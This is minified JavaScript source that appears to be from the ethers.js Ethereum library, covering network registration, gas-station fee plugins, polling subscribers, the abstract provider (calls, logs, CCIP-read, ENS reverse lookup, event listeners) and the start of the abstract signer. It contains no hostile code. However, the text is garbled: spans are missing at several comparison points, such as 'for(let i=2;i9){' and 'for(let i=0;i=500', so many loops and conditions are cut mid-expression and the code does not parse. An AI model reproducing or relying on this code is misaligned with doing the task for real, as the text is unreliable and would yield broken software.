chainId(){return this.#chainId}set chainId(value){this.#chainId=getBigInt(value,"chainId")}matches(other){if(other==null){return false}if(typeof other==="string"){try{return this.chainId===getBigInt(other)}catch(error){}return this.name===other}if(typeof other==="number"||typeof other==="bigint"){try{return this.chainId===getBigInt(other)}catch(error){}return false}if(typeof other==="object"){if(other.chainId!=null){try{return this.chainId===getBigInt(other.chainId)}catch(error){}return false}if(other.name!=null){return this.name===other.name}return false}return false}get plugins(){return Array.from(this.#plugins.values())}attachPlugin(plugin){if(this.#plugins.get(plugin.name)){throw new Error(`cannot replace existing plugin: ${plugin.name} `)}this.#plugins.set(plugin.name,plugin.clone());return this}getPlugin(name){return this.#plugins.get(name)||null}getPlugins(basename){return this.plugins.filter(p=>p.name.split("#")[0]===basename)}clone(){const clone=new Network(this.name,this.chainId);this.plugins.forEach(plugin=>{clone.attachPlugin(plugin.clone())});return clone}computeIntrinsicGas(tx){const costs=this.getPlugin("org.ethers.plugins.network.GasCost")||new GasCostPlugin;let gas=costs.txBase;if(tx.to==null){gas+=costs.txCreate}if(tx.data){for(let i=2;i9){let frac=BigInt(comps[1].substring(0,9));if(!comps[1].substring(9).match(/^0+$/)){frac++}comps[1]=frac.toString()}return BigInt(comps[0]+comps[1])}function getGasStationPlugin(url){return new FetchUrlFeeDataNetworkPlugin(url,async(fetchFeeData,provider,request)=>{request.setHeader("User-Agent","ethers");let response;try{const[_response,_feeData]=await Promise.all([request.send(),fetchFeeData()]);response=_response;const payload=response.bodyJson.standard;const feeData={gasPrice:_feeData.gasPrice,maxFeePerGas:parseUnits(payload.maxFee,9),maxPriorityFeePerGas:parseUnits(payload.maxPriorityFee,9)};return feeData}catch(error){assert(false,`error encountered with polygon gas station (${JSON.stringify(request.url)})`,"SERVER_ERROR",{request:request,response:response,error:error})}})}let injected=false;function injectCommonNetworks(){if(injected){return}injected=true;function registerEth(name,chainId,options){const func=function(){const network=new Network(name,chainId);if(options.ensNetwork!=null){network.attachPlugin(new EnsPlugin(null,options.ensNetwork))}network.attachPlugin(new GasCostPlugin);(options.plugins||[]).forEach(plugin=>{network.attachPlugin(plugin)});return network};Network.register(name,func);Network.register(chainId,func);if(options.altNames){options.altNames.forEach(name=>{Network.register(name,func)})}}registerEth("mainnet",1,{ensNetwork:1,altNames:["homestead"]});registerEth("ropsten",3,{ensNetwork:3});registerEth("rinkeby",4,{ensNetwork:4});registerEth("goerli",5,{ensNetwork:5});registerEth("kovan",42,{ensNetwork:42});registerEth("sepolia",11155111,{ensNetwork:11155111});registerEth("holesky",17e3,{ensNetwork:17e3});registerEth("classic",61,{});registerEth("classicKotti",6,{});registerEth("arbitrum",42161,{ensNetwork:1});registerEth("arbitrum-goerli",421613,{});registerEth("arbitrum-sepolia",421614,{});registerEth("base",8453,{ensNetwork:1});registerEth("base-goerli",84531,{});registerEth("base-sepolia",84532,{});registerEth("bnb",56,{ensNetwork:1});registerEth("bnbt",97,{});registerEth("linea",59144,{ensNetwork:1});registerEth("linea-goerli",59140,{});registerEth("linea-sepolia",59141,{});registerEth("matic",137,{ensNetwork:1,plugins:[getGasStationPlugin("https://gasstation.polygon.technology/v2")]});registerEth("matic-amoy",80002,{});registerEth("matic-mumbai",80001,{altNames:["maticMumbai","maticmum"],plugins:[getGasStationPlugin("https://gasstation-testnet.polygon.technology/v2")]});registerEth("optimism",10,{ensNetwork:1,plugins:[]});registerEth("optimism-goerli",420,{});registerEth("optimism-sepolia",11155420,{});registerEth("xdai",100,{ensNetwork:1})}function copy$2(obj){return JSON.parse(JSON.stringify(obj))}class PollingBlockSubscriber{#provider;#poller;#interval;#blockNumber;constructor(provider){this.#provider=provider;this.#poller=null;this.#interval=4e3;this.#blockNumber=-2}get pollingInterval(){return this.#interval}set pollingInterval(value){this.#interval=value}async#poll(){try{const blockNumber=await this.#provider.getBlockNumber();if(this.#blockNumber===-2){this.#blockNumber=blockNumber;return}if(blockNumber!==this.#blockNumber){for(let b=this.#blockNumber+1;b<=blockNumber;b++){if(this.#poller==null){return}await this.#provider.emit("block",b)}this.#blockNumber=blockNumber}}catch(error){}if(this.#poller==null){return}this.#poller=this.#provider._setTimeout(this.#poll.bind(this),this.#interval)}start(){if(this.#poller){return}this.#poller=this.#provider._setTimeout(this.#poll.bind(this),this.#interval);this.#poll()}stop(){if(!this.#poller){return}this.#provider._clearTimeout(this.#poller);this.#poller=null}pause(dropWhilePaused){this.stop();if(dropWhilePaused){this.#blockNumber=-2}}resume(){this.start()}}class OnBlockSubscriber{#provider;#poll;#running;constructor(provider){this.#provider=provider;this.#running=false;this.#poll=blockNumber=>{this._poll(blockNumber,this.#provider)}}async _poll(blockNumber,provider){throw new Error("sub-classes must override this")}start(){if(this.#running){return}this.#running=true;this.#poll(-2);this.#provider.on("block",this.#poll)}stop(){if(!this.#running){return}this.#running=false;this.#provider.off("block",this.#poll)}pause(dropWhilePaused){this.stop()}resume(){this.start()}}class PollingBlockTagSubscriber extends OnBlockSubscriber{#tag;#lastBlock;constructor(provider,tag){super(provider);this.#tag=tag;this.#lastBlock=-2}pause(dropWhilePaused){if(dropWhilePaused){this.#lastBlock=-2}super.pause(dropWhilePaused)}async _poll(blockNumber,provider){const block=await provider.getBlock(this.#tag);if(block==null){return}if(this.#lastBlock===-2){this.#lastBlock=block.number}else if(block.number>this.#lastBlock){provider.emit(this.#tag,block.number);this.#lastBlock=block.number}}}class PollingOrphanSubscriber extends OnBlockSubscriber{#filter;constructor(provider,filter){super(provider);this.#filter=copy$2(filter)}async _poll(blockNumber,provider){throw new Error("@TODO")}}class PollingTransactionSubscriber extends OnBlockSubscriber{#hash;constructor(provider,hash){super(provider);this.#hash=hash}async _poll(blockNumber,provider){const tx=await provider.getTransactionReceipt(this.#hash);if(tx){provider.emit(this.#hash,tx)}}}class PollingEventSubscriber{#provider;#filter;#poller;#running;#blockNumber;constructor(provider,filter){this.#provider=provider;this.#filter=copy$2(filter);this.#poller=this.#poll.bind(this);this.#running=false;this.#blockNumber=-2}async#poll(blockNumber){if(this.#blockNumber===-2){return}const filter=copy$2(this.#filter);filter.fromBlock=this.#blockNumber+1;filter.toBlock=blockNumber;const logs=await this.#provider.getLogs(filter);if(logs.length===0){if(this.#blockNumber{this.#blockNumber=blockNumber})}this.#provider.on("block",this.#poller)}stop(){if(!this.#running){return}this.#running=false;this.#provider.off("block",this.#poller)}pause(dropWhilePaused){this.stop();if(dropWhilePaused){this.#blockNumber=-2}}resume(){this.start()}}const BN_2$1=BigInt(2);const MAX_CCIP_REDIRECTS=10;function isPromise$1(value){return value&&typeof value.then==="function"}function getTag(prefix,value){return prefix+":"+JSON.stringify(value,(k,v)=>{if(v==null){return"null"}if(typeof v==="bigint"){return`bigint:${v.toString()}`}if(typeof v==="string"){return v.toLowerCase()}if(typeof v==="object"&&!Array.isArray(v)){const keys=Object.keys(v);keys.sort();return keys.reduce((accum,key)=>{accum[key]=v[key];return accum},{})}return v})}class UnmanagedSubscriber{name;constructor(name){defineProperties(this,{name:name})}start(){}stop(){}pause(dropWhilePaused){}resume(){}}function copy$1(value){return JSON.parse(JSON.stringify(value))}function concisify(items){items=Array.from(new Set(items).values());items.sort();return items}async function getSubscription(_event,provider){if(_event==null){throw new Error("invalid event")}if(Array.isArray(_event)){_event={topics:_event}}if(typeof _event==="string"){switch(_event){case"block":case"debug":case"error":case"finalized":case"network":case"pending":case"safe":{return{type:_event,tag:_event}}}}if(isHexString(_event,32)){const hash=_event.toLowerCase();return{type:"transaction",tag:getTag("tx",{hash:hash}),hash:hash}}if(_event.orphan){const event=_event;return{type:"orphan",tag:getTag("orphan",event),filter:copy$1(event)}}if(_event.address||_event.topics){const event=_event;const filter={topics:(event.topics||[]).map(t=>{if(t==null){return null}if(Array.isArray(t)){return concisify(t.map(t=>t.toLowerCase()))}return t.toLowerCase()})};if(event.address){const addresses=[];const promises=[];const addAddress=addr=>{if(isHexString(addr)){addresses.push(addr)}else{promises.push((async()=>{addresses.push(await resolveAddress(addr,provider))})())}};if(Array.isArray(event.address)){event.address.forEach(addAddress)}else{addAddress(event.address)}if(promises.length){await Promise.all(promises)}filter.address=concisify(addresses.map(a=>a.toLowerCase()))}return{filter:filter,tag:getTag("event",filter),type:"event"}}assertArgument(false,"unknown ProviderEvent","event",_event)}function getTime$1(){return(new Date).getTime()}const defaultOptions$1={cacheTimeout:250,pollingInterval:4e3};class AbstractProvider{#subs;#plugins;#pausedState;#destroyed;#networkPromise;#anyNetwork;#performCache;#lastBlockNumber;#nextTimer;#timers;#disableCcipRead;#options;constructor(_network,options){this.#options=Object.assign({},defaultOptions$1,options||{});if(_network==="any"){this.#anyNetwork=true;this.#networkPromise=null}else if(_network){const network=Network.from(_network);this.#anyNetwork=false;this.#networkPromise=Promise.resolve(network);setTimeout(()=>{this.emit("network",network,null)},0)}else{this.#anyNetwork=false;this.#networkPromise=null}this.#lastBlockNumber=-1;this.#performCache=new Map;this.#subs=new Map;this.#plugins=new Map;this.#pausedState=null;this.#destroyed=false;this.#nextTimer=1;this.#timers=new Map;this.#disableCcipRead=false}get pollingInterval(){return this.#options.pollingInterval}get provider(){return this}get plugins(){return Array.from(this.#plugins.values())}attachPlugin(plugin){if(this.#plugins.get(plugin.name)){throw new Error(`cannot replace existing plugin: ${plugin.name} `)}this.#plugins.set(plugin.name,plugin.connect(this));return this}getPlugin(name){return this.#plugins.get(name)||null}get disableCcipRead(){return this.#disableCcipRead}set disableCcipRead(value){this.#disableCcipRead=!!value}async#perform(req){const timeout=this.#options.cacheTimeout;if(timeout<0){return await this._perform(req)}const tag=getTag(req.method,req);let perform=this.#performCache.get(tag);if(!perform){perform=this._perform(req);this.#performCache.set(tag,perform);setTimeout(()=>{if(this.#performCache.get(tag)===perform){this.#performCache.delete(tag)}},timeout)}return await perform}async ccipReadFetch(tx,calldata,urls){if(this.disableCcipRead||urls.length===0||tx.to==null){return null}const sender=tx.to.toLowerCase();const data=calldata.toLowerCase();const errorMessages=[];for(let i=0;i=500,`response not found during CCIP fetch: ${errorMessage}`,"OFFCHAIN_FAULT",{reason:"404_MISSING_RESOURCE",transaction:tx,info:{url:url,errorMessage:errorMessage}});errorMessages.push(errorMessage)}assert(false,`error encountered during CCIP fetch: ${errorMessages.map(m=>JSON.stringify(m)).join(", ")}`,"OFFCHAIN_FAULT",{reason:"500_SERVER_ERROR",transaction:tx,info:{urls:urls,errorMessages:errorMessages}})}_wrapBlock(value,network){return new Block(formatBlock(value),this)}_wrapLog(value,network){return new Log(formatLog(value),this)}_wrapTransactionReceipt(value,network){return new TransactionReceipt(formatTransactionReceipt(value),this)}_wrapTransactionResponse(tx,network){return new TransactionResponse(formatTransactionResponse(tx),this)}_detectNetwork(){assert(false,"sub-classes must implement this","UNSUPPORTED_OPERATION",{operation:"_detectNetwork"})}async _perform(req){assert(false,`unsupported method: ${req.method}`,"UNSUPPORTED_OPERATION",{operation:req.method,info:req})}async getBlockNumber(){const blockNumber=getNumber(await this.#perform({method:"getBlockNumber"}),"%response");if(this.#lastBlockNumber>=0){this.#lastBlockNumber=blockNumber}return blockNumber}_getAddress(address){return resolveAddress(address,this)}_getBlockTag(blockTag){if(blockTag==null){return"latest"}switch(blockTag){case"earliest":return"0x0";case"finalized":case"latest":case"pending":case"safe":return blockTag}if(isHexString(blockTag)){if(isHexString(blockTag,32)){return blockTag}return toQuantity(blockTag)}if(typeof blockTag==="bigint"){blockTag=getNumber(blockTag,"blockTag")}if(typeof blockTag==="number"){if(blockTag>=0){return toQuantity(blockTag)}if(this.#lastBlockNumber>=0){return toQuantity(this.#lastBlockNumber+blockTag)}return this.getBlockNumber().then(b=>toQuantity(b+blockTag))}assertArgument(false,"invalid blockTag","blockTag",blockTag)}_getFilter(filter){const topics=(filter.topics||[]).map(t=>{if(t==null){return null}if(Array.isArray(t)){return concisify(t.map(t=>t.toLowerCase()))}return t.toLowerCase()});const blockHash="blockHash"in filter?filter.blockHash:undefined;const resolve=(_address,fromBlock,toBlock)=>{let address=undefined;switch(_address.length){case 0:break;case 1:address=_address[0];break;default:_address.sort();address=_address}if(blockHash){if(fromBlock!=null||toBlock!=null){throw new Error("invalid filter")}}const filter={};if(address){filter.address=address}if(topics.length){filter.topics=topics}if(fromBlock){filter.fromBlock=fromBlock}if(toBlock){filter.toBlock=toBlock}if(blockHash){filter.blockHash=blockHash}return filter};let address=[];if(filter.address){if(Array.isArray(filter.address)){for(const addr of filter.address){address.push(this._getAddress(addr))}}else{address.push(this._getAddress(filter.address))}}let fromBlock=undefined;if("fromBlock"in filter){fromBlock=this._getBlockTag(filter.fromBlock)}let toBlock=undefined;if("toBlock"in filter){toBlock=this._getBlockTag(filter.toBlock)}if(address.filter(a=>typeof a!=="string").length||fromBlock!=null&&typeof fromBlock!=="string"||toBlock!=null&&typeof toBlock!=="string"){return Promise.all([Promise.all(address),fromBlock,toBlock]).then(result=>{return resolve(result[0],result[1],result[2])})}return resolve(address,fromBlock,toBlock)}_getTransactionRequest(_request){const request=copyRequest(_request);const promises=[];["to","from"].forEach(key=>{if(request[key]==null){return}const addr=resolveAddress(request[key],this);if(isPromise$1(addr)){promises.push(async function(){request[key]=await addr}())}else{request[key]=addr}});if(request.blockTag!=null){const blockTag=this._getBlockTag(request.blockTag);if(isPromise$1(blockTag)){promises.push(async function(){request.blockTag=await blockTag}())}else{request.blockTag=blockTag}}if(promises.length){return async function(){await Promise.all(promises);return request}()}return request}async getNetwork(){if(this.#networkPromise==null){const detectNetwork=(async()=>{try{const network=await this._detectNetwork();this.emit("network",network,null);return network}catch(error){if(this.#networkPromise===detectNetwork){this.#networkPromise=null}throw error}})();this.#networkPromise=detectNetwork;return(await detectNetwork).clone()}const networkPromise=this.#networkPromise;const[expected,actual]=await Promise.all([networkPromise,this._detectNetwork()]);if(expected.chainId!==actual.chainId){if(this.#anyNetwork){this.emit("network",actual,expected);if(this.#networkPromise===networkPromise){this.#networkPromise=Promise.resolve(actual)}}else{assert(false,`network changed: ${expected.chainId} => ${actual.chainId} `,"NETWORK_ERROR",{event:"changed"})}}return expected.clone()}async getFeeData(){const network=await this.getNetwork();const getFeeDataFunc=async()=>{const{_block,gasPrice,priorityFee}=await resolveProperties({_block:this.#getBlock("latest",false),gasPrice:(async()=>{try{const value=await this.#perform({method:"getGasPrice"});return getBigInt(value,"%response")}catch(error){}return null})(),priorityFee:(async()=>{try{const value=await this.#perform({method:"getPriorityFee"});return getBigInt(value,"%response")}catch(error){}return null})()});let maxFeePerGas=null;let maxPriorityFeePerGas=null;const block=this._wrapBlock(_block,network);if(block&&block.baseFeePerGas){maxPriorityFeePerGas=priorityFee!=null?priorityFee:BigInt("1000000000");maxFeePerGas=block.baseFeePerGas*BN_2$1+maxPriorityFeePerGas}return new FeeData(gasPrice,maxFeePerGas,maxPriorityFeePerGas)};const plugin=network.getPlugin("org.ethers.plugins.network.FetchUrlFeeDataPlugin");if(plugin){const req=new FetchRequest(plugin.url);const feeData=await plugin.processFunc(getFeeDataFunc,this,req);return new FeeData(feeData.gasPrice,feeData.maxFeePerGas,feeData.maxPriorityFeePerGas)}return await getFeeDataFunc()}async estimateGas(_tx){let tx=this._getTransactionRequest(_tx);if(isPromise$1(tx)){tx=await tx}return getBigInt(await this.#perform({method:"estimateGas",transaction:tx}),"%response")}async#call(tx,blockTag,attempt){assert(attempt=0&&blockTag==="latest"&&transaction.to!=null&&dataSlice(error.data,0,4)==="0x556f1830"){const data=error.data;const txSender=await resolveAddress(transaction.to,this);let ccipArgs;try{ccipArgs=parseOffchainLookup(dataSlice(error.data,4))}catch(error){assert(false,error.message,"OFFCHAIN_FAULT",{reason:"BAD_DATA",transaction:transaction,info:{data:data}})}assert(ccipArgs.sender.toLowerCase()===txSender.toLowerCase(),"CCIP Read sender mismatch","CALL_EXCEPTION",{action:"call",data:data,reason:"OffchainLookup",transaction:transaction,invocation:null,revert:{signature:"OffchainLookup(address,string[],bytes,bytes4,bytes)",name:"OffchainLookup",args:ccipArgs.errorArgs}});const ccipResult=await this.ccipReadFetch(transaction,ccipArgs.calldata,ccipArgs.urls);assert(ccipResult!=null,"CCIP Read failed to fetch data","OFFCHAIN_FAULT",{reason:"FETCH_FAILED",transaction:transaction,info:{data:error.data,errorArgs:ccipArgs.errorArgs}});const tx={to:txSender,data:concat([ccipArgs.selector,encodeBytes([ccipResult,ccipArgs.extraData])])};this.emit("debug",{action:"sendCcipReadCall",transaction:tx});try{const result=await this.#call(tx,blockTag,attempt+1);this.emit("debug",{action:"receiveCcipReadCallResult",transaction:Object.assign({},tx),result:result});return result}catch(error){this.emit("debug",{action:"receiveCcipReadCallError",transaction:Object.assign({},tx),error:error});throw error}}throw error}}async#checkNetwork(promise){const{value}=await resolveProperties({network:this.getNetwork(),value:promise});return value}async call(_tx){const{tx,blockTag}=await resolveProperties({tx:this._getTransactionRequest(_tx),blockTag:this._getBlockTag(_tx.blockTag)});return await this.#checkNetwork(this.#call(tx,blockTag,_tx.enableCcipRead?0:-1))}async#getAccountValue(request,_address,_blockTag){let address=this._getAddress(_address);let blockTag=this._getBlockTag(_blockTag);if(typeof address!=="string"||typeof blockTag!=="string"){[address,blockTag]=await Promise.all([address,blockTag])}return await this.#checkNetwork(this.#perform(Object.assign(request,{address:address,blockTag:blockTag})))}async getBalance(address,blockTag){return getBigInt(await this.#getAccountValue({method:"getBalance"},address,blockTag),"%response")}async getTransactionCount(address,blockTag){return getNumber(await this.#getAccountValue({method:"getTransactionCount"},address,blockTag),"%response")}async getCode(address,blockTag){return hexlify(await this.#getAccountValue({method:"getCode"},address,blockTag))}async getStorage(address,_position,blockTag){const position=getBigInt(_position,"position");return hexlify(await this.#getAccountValue({method:"getStorage",position:position},address,blockTag))}async broadcastTransaction(signedTx){const{blockNumber,hash,network}=await resolveProperties({blockNumber:this.getBlockNumber(),hash:this._perform({method:"broadcastTransaction",signedTransaction:signedTx}),network:this.getNetwork()});const tx=Transaction.from(signedTx);if(tx.hash!==hash){throw new Error("@TODO: the returned hash did not match")}return this._wrapTransactionResponse(tx,network).replaceableTransaction(blockNumber)}async#getBlock(block,includeTransactions){if(isHexString(block,32)){return await this.#perform({method:"getBlock",blockHash:block,includeTransactions:includeTransactions})}let blockTag=this._getBlockTag(block);if(typeof blockTag!=="string"){blockTag=await blockTag}return await this.#perform({method:"getBlock",blockTag:blockTag,includeTransactions:includeTransactions})}async getBlock(block,prefetchTxs){const{network,params}=await resolveProperties({network:this.getNetwork(),params:this.#getBlock(block,!!prefetchTxs)});if(params==null){return null}return this._wrapBlock(params,network)}async getTransaction(hash){const{network,params}=await resolveProperties({network:this.getNetwork(),params:this.#perform({method:"getTransaction",hash:hash})});if(params==null){return null}return this._wrapTransactionResponse(params,network)}async getTransactionReceipt(hash){const{network,params}=await resolveProperties({network:this.getNetwork(),params:this.#perform({method:"getTransactionReceipt",hash:hash})});if(params==null){return null}if(params.gasPrice==null&¶ms.effectiveGasPrice==null){const tx=await this.#perform({method:"getTransaction",hash:hash});if(tx==null){throw new Error("report this; could not find tx or effectiveGasPrice")}params.effectiveGasPrice=tx.gasPrice}return this._wrapTransactionReceipt(params,network)}async getTransactionResult(hash){const{result}=await resolveProperties({network:this.getNetwork(),result:this.#perform({method:"getTransactionResult",hash:hash})});if(result==null){return null}return hexlify(result)}async getLogs(_filter){let filter=this._getFilter(_filter);if(isPromise$1(filter)){filter=await filter}const{network,params}=await resolveProperties({network:this.getNetwork(),params:this.#perform({method:"getLogs",filter:filter})});return params.map(p=>this._wrapLog(p,network))}_getProvider(chainId){assert(false,"provider cannot connect to target network","UNSUPPORTED_OPERATION",{operation:"_getProvider()"})}async getResolver(name){return await EnsResolver.fromName(this,name)}async getAvatar(name){const resolver=await this.getResolver(name);if(resolver){return await resolver.getAvatar()}return null}async resolveName(name){const resolver=await this.getResolver(name);if(resolver){return await resolver.getAddress()}return null}async lookupAddress(address){address=getAddress(address);const node=namehash(address.substring(2).toLowerCase()+".addr.reverse");try{const ensAddr=await EnsResolver.getEnsAddress(this);const ensContract=new Contract(ensAddr,["function resolver(bytes32) view returns (address)"],this);const resolver=await ensContract.resolver(node);if(resolver==null||resolver===ZeroAddress){return null}const resolverContract=new Contract(resolver,["function name(bytes32) view returns (string)"],this);const name=await resolverContract.name(node);const check=await this.resolveName(name);if(check!==address){return null}return name}catch(error){if(isError(error,"BAD_DATA")&&error.value==="0x"){return null}if(isError(error,"CALL_EXCEPTION")){return null}throw error}return null}async waitForTransaction(hash,_confirms,timeout){const confirms=_confirms!=null?_confirms:1;if(confirms===0){return this.getTransactionReceipt(hash)}return new Promise(async(resolve,reject)=>{let timer=null;const listener=async blockNumber=>{try{const receipt=await this.getTransactionReceipt(hash);if(receipt!=null){if(blockNumber-receipt.blockNumber+1>=confirms){resolve(receipt);if(timer){clearTimeout(timer);timer=null}return}}}catch(error){console.log("EEE",error)}this.once("block",listener)};if(timeout!=null){timer=setTimeout(()=>{if(timer==null){return}timer=null;this.off("block",listener);reject(makeError("timeout","TIMEOUT",{reason:"timeout"}))},timeout)}listener(await this.getBlockNumber())})}async waitForBlock(blockTag){assert(false,"not implemented yet","NOT_IMPLEMENTED",{operation:"waitForBlock"})}_clearTimeout(timerId){const timer=this.#timers.get(timerId);if(!timer){return}if(timer.timer){clearTimeout(timer.timer)}this.#timers.delete(timerId)}_setTimeout(_func,timeout){if(timeout==null){timeout=0}const timerId=this.#nextTimer++;const func=()=>{this.#timers.delete(timerId);_func()};if(this.paused){this.#timers.set(timerId,{timer:null,func:func,time:timeout})}else{const timer=setTimeout(func,timeout);this.#timers.set(timerId,{timer:timer,func:func,time:getTime$1()})}return timerId}_forEachSubscriber(func){for(const sub of this.#subs.values()){func(sub.subscriber)}}_getSubscriber(sub){switch(sub.type){case"debug":case"error":case"network":return new UnmanagedSubscriber(sub.type);case"block":{const subscriber=new PollingBlockSubscriber(this);subscriber.pollingInterval=this.pollingInterval;return subscriber}case"safe":case"finalized":return new PollingBlockTagSubscriber(this,sub.type);case"event":return new PollingEventSubscriber(this,sub.filter);case"transaction":return new PollingTransactionSubscriber(this,sub.hash);case"orphan":return new PollingOrphanSubscriber(this,sub.filter)}throw new Error(`unsupported event: ${sub.type}`)}_recoverSubscriber(oldSub,newSub){for(const sub of this.#subs.values()){if(sub.subscriber===oldSub){if(sub.started){sub.subscriber.stop()}sub.subscriber=newSub;if(sub.started){newSub.start()}if(this.#pausedState!=null){newSub.pause(this.#pausedState)}break}}}async#hasSub(event,emitArgs){let sub=await getSubscription(event,this);if(sub.type==="event"&&emitArgs&&emitArgs.length>0&&emitArgs[0].removed===true){sub=await getSubscription({orphan:"drop-log",log:emitArgs[0]},this)}return this.#subs.get(sub.tag)||null}async#getSub(event){const subscription=await getSubscription(event,this);const tag=subscription.tag;let sub=this.#subs.get(tag);if(!sub){const subscriber=this._getSubscriber(subscription);const addressableMap=new WeakMap;const nameMap=new Map;sub={subscriber:subscriber,tag:tag,addressableMap:addressableMap,nameMap:nameMap,started:false,listeners:[]};this.#subs.set(tag,sub)}return sub}async on(event,listener){const sub=await this.#getSub(event);sub.listeners.push({listener:listener,once:false});if(!sub.started){sub.subscriber.start();sub.started=true;if(this.#pausedState!=null){sub.subscriber.pause(this.#pausedState)}}return this}async once(event,listener){const sub=await this.#getSub(event);sub.listeners.push({listener:listener,once:true});if(!sub.started){sub.subscriber.start();sub.started=true;if(this.#pausedState!=null){sub.subscriber.pause(this.#pausedState)}}return this}async emit(event,...args){const sub=await this.#hasSub(event,args);if(!sub||sub.listeners.length===0){return false}const count=sub.listeners.length;sub.listeners=sub.listeners.filter(({listener,once})=>{const payload=new EventPayload(this,once?null:listener,event);try{listener.call(this,...args,payload)}catch(error){}return!once});if(sub.listeners.length===0){if(sub.started){sub.subscriber.stop()}this.#subs.delete(sub.tag)}return count>0}async listenerCount(event){if(event){const sub=await this.#hasSub(event);if(!sub){return 0}return sub.listeners.length}let total=0;for(const{listeners}of this.#subs.values()){total+=listeners.length}return total}async listeners(event){if(event){const sub=await this.#hasSub(event);if(!sub){return[]}return sub.listeners.map(({listener})=>listener)}let result=[];for(const{listeners}of this.#subs.values()){result=result.concat(listeners.map(({listener})=>listener))}return result}async off(event,listener){const sub=await this.#hasSub(event);if(!sub){return this}if(listener){const index=sub.listeners.map(({listener})=>listener).indexOf(listener);if(index>=0){sub.listeners.splice(index,1)}}if(!listener||sub.listeners.length===0){if(sub.started){sub.subscriber.stop()}this.#subs.delete(sub.tag)}return this}async removeAllListeners(event){if(event){const{tag,started,subscriber}=await this.#getSub(event);if(started){subscriber.stop()}this.#subs.delete(tag)}else{for(const[tag,{started,subscriber}]of this.#subs){if(started){subscriber.stop()}this.#subs.delete(tag)}}return this}async addListener(event,listener){return await this.on(event,listener)}async removeListener(event,listener){return this.off(event,listener)}get destroyed(){return this.#destroyed}destroy(){this.removeAllListeners();for(const timerId of this.#timers.keys()){this._clearTimeout(timerId)}this.#destroyed=true}get paused(){return this.#pausedState!=null}set paused(pause){if(!!pause===this.paused){return}if(this.paused){this.resume()}else{this.pause(false)}}pause(dropWhilePaused){this.#lastBlockNumber=-1;if(this.#pausedState!=null){if(this.#pausedState==!!dropWhilePaused){return}assert(false,"cannot change pause type; resume first","UNSUPPORTED_OPERATION",{operation:"pause"})}this._forEachSubscriber(s=>s.pause(dropWhilePaused));this.#pausedState=!!dropWhilePaused;for(const timer of this.#timers.values()){if(timer.timer){clearTimeout(timer.timer)}timer.time=getTime$1()-timer.time}}resume(){if(this.#pausedState==null){return}this._forEachSubscriber(s=>s.resume());this.#pausedState=null;for(const timer of this.#timers.values()){let timeout=timer.time;if(timeout<0){timeout=0}timer.time=getTime$1();setTimeout(timer.func,timeout)}}}function _parseString(result,start){try{const bytes=_parseBytes(result,start);if(bytes){return toUtf8String(bytes)}}catch(error){}return null}function _parseBytes(result,start){if(result==="0x"){return null}try{const offset=getNumber(dataSlice(result,start,start+32));const length=getNumber(dataSlice(result,offset,offset+32));return dataSlice(result,offset+32,offset+32+length)}catch(error){}return null}function numPad(value){const result=toBeArray(value);if(result.length>32){throw new Error("internal; should not happen")}const padded=new Uint8Array(32);padded.set(result,32-result.length);return padded}function bytesPad(value){if(value.length%32===0){return value}const result=new Uint8Array(Math.ceil(value.length/32)*32);result.set(value);return result}const empty=new Uint8Array([]);function encodeBytes(datas){const result=[];let byteCount=0;for(let i=0;i=5*32,"insufficient OffchainLookup data","OFFCHAIN_FAULT",{reason:"insufficient OffchainLookup data"});const sender=dataSlice(data,0,32);assert(dataSlice(sender,0,12)===dataSlice(zeros,0,12),"corrupt OffchainLookup sender","OFFCHAIN_FAULT",{reason:"corrupt OffchainLookup sender"});result.sender=dataSlice(sender,12);try{const urls=[];const urlsOffset=getNumber(dataSlice(data,32,64));const urlsLength=getNumber(dataSlice(data,urlsOffset,urlsOffset+32));const urlsData=dataSlice(data,urlsOffset+32);for(let u=0;uresult[k]);return result}function checkProvider(signer,operation){if(signer.provider){return signer.provider}assert(false,"missing provider","UNSUPPORTED_OPERATION",{operation:operation})}async function populate(signer,tx){let pop=copyRequest(tx);if(pop.to!=null){pop.to=resolveAddress(pop.to,signer)}if(pop.from!=null){const from=pop.from;pop.from=Promise.all([signer.getAddress(),resolveAddress(from,signer)]).then(([address,from])=>{assertArgument(address.toLowerCase()===from.toLowerCase(),"transaction from mismatch","tx.from",from);return address})}else{pop.from=signer.getAddress()}return await resolveProperties(pop)}class AbstractSigner{provider;constructor(provider){defineProperties(this,{provider:provider||null})}async getNonce(blockTag){return checkProvider(this,"getTransactionCount").getTransactionCount(await this.getAddress(),blockTag)}async populateCall(tx){const pop=await populate(this,tx);return pop}async populateTransaction(tx){const provider=checkProvider(this,"populateTransaction");const pop=await populate(this,tx);if(pop.nonce==null){pop.nonce=await this.getNonce("pending")}if(pop.gasLimit==null){pop.gasLimit=await this.estimateGas(pop)}const network=await this.provider.getNetwork();if(pop.chainId!=null){const chainId=getBigInt(pop.chainId);assertArgument(chainId===network.chainId,"transaction chainId mismatch","tx.chainId",tx.chainId)}else{pop.chainId=network.chainId}const hasEip1559=pop.maxFeePerGas!=null||pop.maxPriorityFeePerGas!=null;if(pop.gasPrice!=null&&(pop.type===2||hasEip1559)){assertArgument(false,"eip-1559 transaction do not support gasPrice","tx",tx)}else if((pop.type===0||pop.type===1)&&hasEip1559){assertArgument(false,"pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas","tx",tx)}if((pop.type===2||pop.type==null)&&(pop.maxFeePerGas!=null&&pop.maxPriorityFeePerGas!=null)){pop.type=2}else if(pop.type===0||pop.type===1){const feeData=await provider.getFeeData();assert(feeData.gasPrice!=null,"network does not support gasPrice","UNSUPPORTED_OPERATION",{operation:"getGasPrice"});if(pop.gasPrice==null){pop.gasPrice=feeData.gasPrice}}else{const feeData=await provider.getFeeData();if(pop.type==null){if(feeData.maxFeePerGas!=null&&feeData.maxPriorityFeePerGas!=null){if(pop.authorizationList&&pop.authorizationList.length){pop.type=4}else{pop.type=2}if(pop.gasPrice!=null){const gasPrice=pop.gasPrice;delete pop.gasPrice;pop.maxFeePerGas=gasPrice;pop.maxPriorityFeePerGas=gasPrice}else{if(pop.maxFeePerGas==null){pop.maxFeePerGas=feeData.maxFeePerGas}if(pop.maxPriorityFeePerGas==null){pop.maxPriorityFeePerGas=feeData.maxPriorityFeePerGas}}}else if(feeData.gasPrice!=null){assert(!hasEip1559,"network does not support EIP-1559","UNSUPPORTED_OPERATION",{operation:"populateTransaction"});if(pop.gasPrice==null){pop.gasPrice=feeData.gasPrice}pop.type=0}else{assert(false,"failed to get consistent fee data","UNSUPPORTED_OPERATION",{operation:"signer.getFeeData"})}}else 